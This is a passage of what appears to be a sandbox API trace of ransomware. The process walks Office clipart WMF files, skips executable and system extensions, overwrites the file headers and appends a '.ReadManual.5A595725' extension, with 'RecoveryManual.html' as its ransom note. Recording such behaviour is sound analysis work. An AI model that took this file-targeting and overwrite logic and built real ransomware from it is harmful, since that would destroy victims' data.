nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x434fc84, lpOverlapped=0x0 | out: lpBuffer=0x2ed540*, lpNumberOfBytesWritten=0x434fc84*=0x100, lpOverlapped=0x0) returned 1 [0266.642] MapViewOfFile (hFileMappingObject=0x184, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x2c18) returned 0x2f0000 [0266.642] UnmapViewOfFile (lpBaseAddress=0x2f0000) returned 1 [0266.642] QueryPerformanceCounter (in: lpPerformanceCount=0x434fd90 | out: lpPerformanceCount=0x434fd90*=38731059669) returned 1 [0266.642] CloseHandle (hObject=0x184) returned 1 [0266.642] SetSecurityInfo () returned 0x57 [0266.642] LocalFree (hMem=0x76c1a55b) returned 0x76c1a55b [0266.642] CloseHandle (hObject=0x194) returned 1 [0266.642] FindNextFileW (in: hFindFile=0x6bff00, lpFindFileData=0x6bb89c | out: lpFindFileData=0x6bb89c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7502c600, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x56393f50, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x7502c600, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x1984, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="J0107328.WMF", cAlternateFileName="")) returned 1 [0266.642] lstrcpyW (in: lpString1=0x6ab90a, lpString2="J0107328.WMF" | out: lpString1="J0107328.WMF") returned="J0107328.WMF" [0266.642] lstrcmpiW (lpString1="J0107328.WMF", lpString2="RecoveryManual.html") returned -1 [0266.642] StrStrIW (lpFirst="J0107328.WMF", lpSrch=".ReadManual.5A595725") returned 0x0 [0266.642] StrCmpIW (psz1="WMF", psz2="exe") returned 1 [0266.642] StrCmpIW (psz1="WMF", psz2="dll") returned 1 [0266.642] StrCmpIW (psz1="WMF", psz2="sys") returned 1 [0266.642] StrCmpIW (psz1="WMF", psz2="msi") returned 1 [0266.642] StrCmpIW (psz1="WMF", psz2="mui") returned 1 [0266.642] StrCmpIW (psz1="WMF", psz2="inf") returned 1 [0266.642] StrCmpIW (psz1="WMF", psz2="cat") returned 1 [0266.642] StrCmpIW (psz1="WMF", psz2="bat") returned 1 [0266.643] StrCmpIW (psz1="WMF", psz2="cmd") returned 1 [0266.643] StrCmpIW (psz1="WMF", psz2="ps1") returned 1 [0266.643] StrCmpIW (psz1="WMF", psz2="vbs") returned 1 [0266.643] StrCmpIW (psz1="WMF", psz2="ttf") returned 1 [0266.643] StrCmpIW (psz1="WMF", psz2="fon") returned 1 [0266.643] StrCmpIW (psz1="WMF", psz2="lnk") returned 1 [0266.643] lstrcpyW (in: lpString1=0x68b880, lpString2="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107328.WMF" | out: lpString1="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107328.WMF") returned="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107328.WMF" [0266.643] lstrcatW (in: lpString1="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107328.WMF", lpString2=".ReadManual.5A595725" | out: lpString1="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107328.WMF.ReadManual.5A595725") returned="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107328.WMF.ReadManual.5A595725" [0266.643] lstrlenW (lpString="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107328.WMF.ReadManual.5A595725") returned 87 [0266.643] QueryPerformanceCounter (in: lpPerformanceCount=0x434fd88 | out: lpPerformanceCount=0x434fd88*=38731157924) returned 1 [0266.643] GetFileAttributesW (lpFileName="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107328.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0107328.wmf")) returned 0x20 [0266.645] CreateFileW (lpFileName="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107328.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0107328.wmf"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x194 [0266.645] GetFileSizeEx (in: hFile=0x194, lpFileSize=0x434fda0 | out: lpFileSize=0x434fda0*=6532) returned 1 [0266.645] CreateFileMappingW (hFile=0x194, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x1984, lpName=0x0) returned 0x184 [0266.645] SetFileInformationByHandle (hFile=0x194, FileInformationClass=0x3, lpFileInformation=0x68b874, dwBufferSize=0xbe) returned 1 [0266.646] SetFilePointerEx (in: hFile=0x194, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0266.646] WriteFile (in: hFile=0x194, lpBuffer=0x434fc88*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x434fc84, lpOverlapped=0x0 | out: lpBuffer=0x434fc88*, lpNumberOfBytesWritten=0x434fc84*=0x20, lpOverlapped=0x0) returned 1 [0266.648] WriteFile (in: hFile=0x194, lpBuffer=0x2ed540*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x434fc84, lpOverlapped=0x0 | out: lpBuffer=0x2ed540*, lpNumberOfBytesWritten=0x434fc84*=0x100, lpOverlapped=0x0) returned 1 [0266.648] MapViewOfFile (hFileMappingObject=0x184, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x1984) returned 0x2f0000 [0266.648] UnmapViewOfFile (lpBaseAddress=0x2f0000) returned 1 [0266.648] QueryPerformanceCounter (in: lpPerformanceCount=0x434fd90 | out: lpPerformanceCount=0x434fd90*=38731670141) returned 1 [0266.648] CloseHandle (hObject=0x184) returned 1 [0266.648] SetSecurityInfo () returned 0x57 [0266.648] LocalFree (hMem=0x76c1a55b) returned 0x76c1a55b [0266.648] CloseHandle (hObject=0x194) returned 1 [0266.648] FindNextFileW (in: hFindFile=0x6bff00, lpFindFileData=0x6bb89c | out: lpFindFileData=0x6bb89c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7502c600, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x56393f50, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x7502c600, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x1094, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="J0107342.WMF", cAlternateFileName="")) returned 1 [0266.648] lstrcpyW (in: lpString1=0x6ab90a, lpString2="J0107342.WMF" | out: lpString1="J0107342.WMF") returned="J0107342.WMF" [0266.648] lstrcmpiW (lpString1="J0107342.WMF", lpString2="RecoveryManual.html") returned -1 [0266.648] StrStrIW (lpFirst="J0107342.WMF", lpSrch=".ReadManual.5A595725") returned 0x0 [0266.648] StrCmpIW (psz1="WMF", psz2="exe") returned 1 [0266.648] StrCmpIW (psz1="WMF", psz2="dll") returned 1 [0266.648] StrCmpIW (psz1="WMF", psz2="sys") returned 1 [0266.649] StrCmpIW (psz1="WMF", psz2="msi") returned 1 [0266.649] StrCmpIW (psz1="WMF", psz2="mui") returned 1 [0266.649] StrCmpIW (psz1="WMF", psz2="inf") returned 1 [0266.649] StrCmpIW (psz1="WMF", psz2="cat") returned 1 [0266.649] StrCmpIW (psz1="WMF", psz2="bat") returned 1 [0266.649] StrCmpIW (psz1="WMF", psz2="cmd") returned 1 [0266.649] StrCmpIW (psz1="WMF", psz2="ps1") returned 1 [0266.649] StrCmpIW (psz1="WMF", psz2="vbs") returned 1 [0266.649] StrCmpIW (psz1="WMF", psz2="ttf") returned 1 [0266.649] StrCmpIW (psz1="WMF", psz2="fon") returned 1 [0266.649] StrCmpIW (psz1="WMF", psz2="lnk") returned 1 [0266.649] lstrcpyW (in: lpString1=0x68b880, lpString2="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107342.WMF" | out: lpString1="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107342.WMF") returned="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107342.WMF" [0266.649] lstrcatW (in: lpString1="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107342.WMF", lpString2=".ReadManual.5A595725" | out: lpString1="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107342.WMF.ReadManual.5A595725") returned="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107342.WMF.ReadManual.5A595725" [0266.649] lstrlenW (lpString="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107342.WMF.ReadManual.5A595725") returned 87 [0266.649] QueryPerformanceCounter (in: lpPerformanceCount=0x434fd88 | out: lpPerformanceCount=0x434fd88*=38731773732) returned 1 [0266.649] GetFileAttributesW (lpFileName="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107342.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0107342.wmf")) returned 0x20 [0266.649] CreateFileW (lpFileName="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107342.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0107342.wmf"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x194 [0266.650] GetFileSizeEx (in: hFile=0x194, lpFileSize=0x434fda0 | out: lpFileSize=0x434fda0*=4244) returned 1 [0266.650] CreateFileMappingW (hFile=0x194, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x1094, lpName=0x0) returned 0x184 [0266.650] SetFileInformationByHandle (hFile=0x194, FileInformationClass=0x3, lpFileInformation=0x68b874, dwBufferSize=0xbe) returned 1 [0266.650] SetFilePointerEx (in: hFile=0x194, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0266.650] WriteFile (in: hFile=0x194, lpBuffer=0x434fc88*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x434fc84, lpOverlapped=0x0 | out: lpBuffer=0x434fc88*, lpNumberOfBytesWritten=0x434fc84*=0x20, lpOverlapped=0x0) returned 1 [0266.652] WriteFile (in: hFile=0x194, lpBuffer=0x2ed540*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x434fc84, lpOverlapped=0x0 | out: lpBuffer=0x2ed540*, lpNumberOfBytesWritten=0x434fc84*=0x100, lpOverlapped=0x0) returned 1 [0266.652] MapViewOfFile (hFileMappingObject=0x184, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x1094) returned 0x2f0000 [0266.652] UnmapViewOfFile (lpBaseAddress=0x2f0000) returned 1 [0266.652] QueryPerformanceCounter (in: lpPerformanceCount=0x434fd90 | out: lpPerformanceCount=0x434fd90*=38732119300) returned 1 [0266.652] CloseHandle (hObject=0x184) returned 1 [0266.653] SetSecurityInfo () returned 0x57 [0266.653] LocalFree (hMem=0x76c1a55b) returned 0x76c1a55b [0266.653] CloseHandle (hObject=0x194) returned 1 [0266.653] FindNextFileW (in: hFindFile=0x6bff00, lpFindFileData=0x6bb89c | out: lpFindFileData=0x6bb89c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7502c600, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x56393f50, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x7502c600, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x13d4, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="J0107344.WMF", cAlternateFileName="")) returned 1 [0266.653] lstrcpyW (in: lpString1=0x6ab90a, lpString2="J0107344.WMF" | out: lpString1="J0107344.WMF") returned="J0107344.WMF" [0266.653] lstrcmpiW (lpString1="J0107344.WMF", lpString2="RecoveryManual.html") returned -1 [0266.653] StrStrIW (lpFirst="J0107344.WMF", lpSrch=".ReadManual.5A595725") returned 0x0 [0266.653] StrCmpIW (psz1="WMF", psz2="exe") returned 1 [0266.653] StrCmpIW (psz1="WMF", psz2="dll") returned 1 [0266.653] StrCmpIW (psz1="WMF", psz2="sys") returned 1 [0266.653] StrCmpIW (psz1="WMF", psz2="msi") returned 1 [0266.653] StrCmpIW (psz1="WMF", psz2="mui") returned 1 [0266.653] StrCmpIW (psz1="WMF", psz2="inf") returned 1 [0266.653] StrCmpIW (psz1="WMF", psz2="cat") returned 1 [0266.653] StrCmpIW (psz1="WMF", psz2="bat") returned 1 [0266.653] StrCmpIW (psz1="WMF", psz2="cmd") returned 1 [0266.653] StrCmpIW (psz1="WMF", psz2="ps1") returned 1 [0266.653] StrCmpIW (psz1="WMF", psz2="vbs") returned 1 [0266.653] StrCmpIW (psz1="WMF", psz2="ttf") returned 1 [0266.653] StrCmpIW (psz1="WMF", psz2="fon") returned 1 [0266.653] StrCmpIW (psz1="WMF", psz2="lnk") returned 1 [0266.653] lstrcpyW (in: lpString1=0x68b880, lpString2="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107344.WMF" | out: lpString1="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107344.WMF") returned="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107344.WMF" [0266.653] lstrcatW (in: lpString1="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107344.WMF", lpString2=".ReadManual.5A595725" | out: lpString1="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107344.WMF.ReadManual.5A595725") returned="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107344.WMF.ReadManual.5A595725" [0266.653] lstrlenW (lpString="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107344.WMF.ReadManual.5A595725") returned 87 [0266.653] QueryPerformanceCounter (in: lpPerformanceCount=0x434fd88 | out: lpPerformanceCount=0x434fd88*=38732220524) returned 1 [0266.653] GetFileAttributesW (lpFileName="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107344.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0107344.wmf")) returned 0x20 [0266.654] CreateFileW (lpFileName="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107344.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0107344.wmf"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x194 [0266.654] GetFileSizeEx (in: hFile=0x194, lpFileSize=0x434fda0 | out: lpFileSize=0x434fda0*=5076) returned 1 [0266.654] CreateFileMappingW (hFile=0x194, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x13d4, lpName=0x0) returned 0x184 [0266.654] SetFileInformationByHandle (hFile=0x194, FileInformationClass=0x3, lpFileInformation=0x68b874, dwBufferSize=0xbe) returned 1 [0266.655] SetFilePointerEx (in: hFile=0x194, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0266.655] WriteFile (in: hFile=0x194, lpBuffer=0x434fc88*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x434fc84, lpOverlapped=0x0 | out: lpBuffer=0x434fc88*, lpNumberOfBytesWritten=0x434fc84*=0x20, lpOverlapped=0x0) returned 1 [0266.656] WriteFile (in: hFile=0x194, lpBuffer=0x2ed540*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x434fc84, lpOverlapped=0x0 | out: lpBuffer=0x2ed540*, lpNumberOfBytesWritten=0x434fc84*=0x100, lpOverlapped=0x0) returned 1 [0266.657] MapViewOfFile (hFileMappingObject=0x184, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x13d4) returned 0x2f0000 [0266.657] UnmapViewOfFile (lpBaseAddress=0x2f0000) returned 1 [0266.657] QueryPerformanceCounter (in: lpPerformanceCount=0x434fd90 | out: lpPerformanceCount=0x434fd90*=38732563535) returned 1 [0266.657] CloseHandle (hObject=0x184) returned 1 [0266.657] SetSecurityInfo () returned 0x57 [0266.657] LocalFree (hMem=0x76c1a55b) returned 0x76c1a55b [0266.657] CloseHandle (hObject=0x194) returned 1 [0266.657] FindNextFileW (in: hFindFile=0x6bff00, lpFindFileData=0x6bb89c | out: lpFindFileData=0x6bb89c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7502c600, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x65eb5050, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x7502c600, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x5c78, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="J0107350.WMF", cAlternateFileName="")) returned 1 [0266.657] lstrcpyW (in: lpString1=0x6ab90a, lpString2="J0107350.WMF" | out: lpString1="J0107350.WMF") returned="J0107350.WMF" [0266.657] lstrcmpiW (lpString1="J0107350.WMF", lpString2="RecoveryManual.html") returned -1 [0266.657] StrStrIW (lpFirst="J0107350.WMF", lpSrch=".ReadManual.5A595725") returned 0x0 [0266.657] StrCmpIW (psz1="WMF", psz2="exe") returned 1 [0266.657] StrCmpIW (psz1="WMF", psz2="dll") returned 1 [0266.657] StrCmpIW (psz1="WMF", psz2="sys") returned 1 [0266.657] StrCmpIW (psz1="WMF", psz2="msi") returned 1 [0266.657] StrCmpIW (psz1="WMF", psz2="mui") returned 1 [0266.657] StrCmpIW (psz1="WMF", psz2="inf") returned 1 [0266.658] StrCmpIW (psz1="WMF", psz2="cat") returned 1 [0266.658] StrCmpIW (psz1="WMF", psz2="bat") returned 1 [0266.658] StrCmpIW (psz1="WMF", psz2="cmd") returned 1 [0266.658] StrCmpIW (psz1="WMF", psz2="ps1") returned 1 [0266.658] StrCmpIW (psz1="WMF", psz2="vbs") returned 1 [0266.658] StrCmpIW (psz1="WMF", psz2="ttf") returned 1 [0266.658] StrCmpIW (psz1="WMF", psz2="fon") returned 1 [0266.658] StrCmpIW (psz1="WMF", psz2="lnk") returned 1 [0266.658] lstrcpyW (in: lpString1=0x68b880, lpString2="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107350.WMF" | out: lpString1="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107350.WMF") returned="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107350.WMF" [0266.658] lstrcatW (in: lpString1="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107350.WMF", lpString2=".ReadManual.5A595725" | out: lpString1="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107350.WMF.ReadManual.5A595725") returned="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107350.WMF.ReadManual.5A595725" [0266.658] lstrlenW (lpString="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107350.WMF.ReadManual.5A595725") returned 87 [0266.658] QueryPerformanceCounter (in: lpPerformanceCount=0x434fd88 | out: lpPerformanceCount=0x434fd88*=38732663785) returned 1 [0266.658] GetFileAttributesW (lpFileName="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107350.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0107350.wmf")) returned 0x20 [0266.659] CreateFileW (lpFileName="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107350.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0107350.wmf"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x194 [0266.659] GetFileSizeEx (in: hFile=0x194, lpFileSize=0x434fda0 | out: lpFileSize=0x434fda0*=23672) returned 1 [0266.659] CreateFileMappingW (hFile=0x194, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x5c78, lpName=0x0) returned 0x184 [0266.659] SetFileInformationByHandle (hFile=0x194, FileInformationClass=0x3, lpFileInformation=0x68b874, dwBufferSize=0xbe) returned 1 [0266.660] SetFilePointerEx (in: hFile=0x194, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0266.660] WriteFile (in: hFile=0x194, lpBuffer=0x434fc88*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x434fc84, lpOverlapped=0x0 | out: lpBuffer=0x434fc88*, lpNumberOfBytesWritten=0x434fc84*=0x20, lpOverlapped=0x0) returned 1 [0266.662] WriteFile (in: hFile=0x194, lpBuffer=0x2ed540*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x434fc84, lpOverlapped=0x0 | out: lpBuffer=0x2ed540*, lpNumberOfBytesWritten=0x434fc84*=0x100, lpOverlapped=0x0) returned 1 [0266.662] MapViewOfFile (hFileMappingObject=0x184, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x5c78) returned 0x2f0000 [0266.662] UnmapViewOfFile (lpBaseAddress=0x2f0000) returned 1 [0266.662] QueryPerformanceCounter (in: lpPerformanceCount=0x434fd90 | out: lpPerformanceCount=0x434fd90*=38733095555) returned 1 [0266.662] CloseHandle (hObject=0x184) returned 1 [0266.662] SetSecurityInfo () returned 0x57 [0266.662] LocalFree (hMem=0x76c1a55b) returned 0x76c1a55b [0266.662] CloseHandle (hObject=0x194) returned 1 [0266.663] FindNextFileW (in: hFindFile=0x6bff00, lpFindFileData=0x6bb89c | out: lpFindFileData=0x6bb89c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7502c600, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x65eb5050, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x7502c600, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x1f1c, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="J0107358.WMF", cAlternateFileName="")) returned 1 [0266.663] lstrcpyW (in: lpString1=0x6ab90a, lpString2="J0107358.WMF" | out: lpString1="J0107358.WMF") returned="J0107358.WMF" [0266.663] lstrcmpiW (lpString1="J0107358.WMF", lpString2="RecoveryManual.html") returned -1 [0266.663] StrStrIW (lpFirst="J0107358.WMF", lpSrch=".ReadManual.5A595725") returned 0x0 [0266.663] StrCmpIW (psz1="WMF", psz2="exe") returned 1 [0266.663] StrCmpIW (psz1="WMF", psz2="dll") returned 1 [0266.663] StrCmpIW (psz1="WMF", psz2="sys") returned 1 [0266.663] StrCmpIW (psz1="WMF", psz2="msi") returned 1 [0266.663] StrCmpIW (psz1="WMF", psz2="mui") returned 1 [0266.663] StrCmpIW (psz1="WMF", psz2="inf") returned 1 [0266.663] StrCmpIW (psz1="WMF", psz2="cat") returned 1 [0266.663] StrCmpIW (psz1="WMF", psz2="bat") returned 1 [0266.663] StrCmpIW (psz1="WMF", psz2="cmd") returned 1 [0266.663] StrCmpIW (psz1="WMF", psz2="ps1") returned 1 [0266.663] StrCmpIW (psz1="WMF", psz2="vbs") returned 1 [0266.663] StrCmpIW (psz1="WMF", psz2="ttf") returned 1 [0266.663] StrCmpIW (psz1="WMF", psz2="fon") returned 1 [0266.663] StrCmpIW (psz1="WMF", psz2="lnk") returned 1 [0266.663] lstrcpyW (in: lpString1=0x68b880, lpString2="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107358.WMF" | out: lpString1="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107358.WMF") returned="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107358.WMF" [0266.663] lstrcatW (in: lpString1="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107358.WMF", lpString2=".ReadManual.5A595725" | out: lpString1="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107358.WMF.ReadManual.5A595725") returned="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107358.WMF.ReadManual.5A595725" [0266.663] lstrlenW (lpString="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107358.WMF.ReadManual.5A595725") returned 87 [0266.663] QueryPerformanceCounter (in: lpPerformanceCount=0x434fd88 | out: lpPerformanceCount=0x434fd88*=38733193361) returned 1 [0266.663] GetFileAttributesW (lpFileName="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107358.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0107358.wmf")) returned 0x20 [0266.663] CreateFileW (lpFileName="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107358.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0107358.wmf"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x194 [0266.664] GetFileSizeEx (in: hFile=0x194, lpFileSize=0x434fda0 | out: lpFileSize=0x434fda0*=7964) returned 1 [0266.664] CreateFileMappingW (hFile=0x194, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x1f1c, lpName=0x0) returned 0x184 [0266.664] SetFileInformationByHandle (hFile=0x194, FileInformationClass=0x3, lpFileInformation=0x68b874, dwBufferSize=0xbe) returned 1 [0266.664] SetFilePointerEx (in: hFile=0x194, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0266.664] WriteFile (in: hFile=0x194, lpBuffer=0x434fc88*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x434fc84, lpOverlapped=0x0 | out: lpBuffer=0x434fc88*, lpNumberOfBytesWritten=0x434fc84*=0x20, lpOverlapped=0x0) returned 1 [0266.666] WriteFile (in: hFile=0x194, lpBuffer=0x2ed540*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x434fc84, lpOverlapped=0x0 | out: lpBuffer=0x2ed540*, lpNumberOfBytesWritten=0x434fc84*=0x100, lpOverlapped=0x0) returned 1 [0266.666] MapViewOfFile (hFileMappingObject=0x184, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x1f1c) returned 0x2f0000 [0266.667] UnmapViewOfFile (lpBaseAddress=0x2f0000) returned 1 [0266.667] QueryPerformanceCounter (in: lpPerformanceCount=0x434fd90 | out: lpPerformanceCount=0x434fd90*=38733548789) returned 1 [0266.667] CloseHandle (hObject=0x184) returned 1 [0266.667] SetSecurityInfo () returned 0x57 [0266.667] LocalFree (hMem=0x76c1a55b) returned 0x76c1a55b [0266.667] CloseHandle (hObject=0x194) returned 1 [0266.667] FindNextFileW (in: hFindFile=0x6bff00, lpFindFileData=0x6bb89c | out: lpFindFileData=0x6bb89c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7502c600, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x65eb5050, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x7502c600, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x40cc, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="J0107364.WMF", cAlternateFileName="")) returned 1 [0266.667] lstrcpyW (in: lpString1=0x6ab90a, lpString2="J0107364.WMF" | out: lpString1="J0107364.WMF") returned="J0107364.WMF" [0266.667] lstrcmpiW (lpString1="J0107364.WMF", lpString2="RecoveryManual.html") returned -1 [0266.667] StrStrIW (lpFirst="J0107364.WMF", lpSrch=".ReadManual.5A595725") returned 0x0 [0266.667] StrCmpIW (psz1="WMF", psz2="exe") returned 1 [0266.667] StrCmpIW (psz1="WMF", 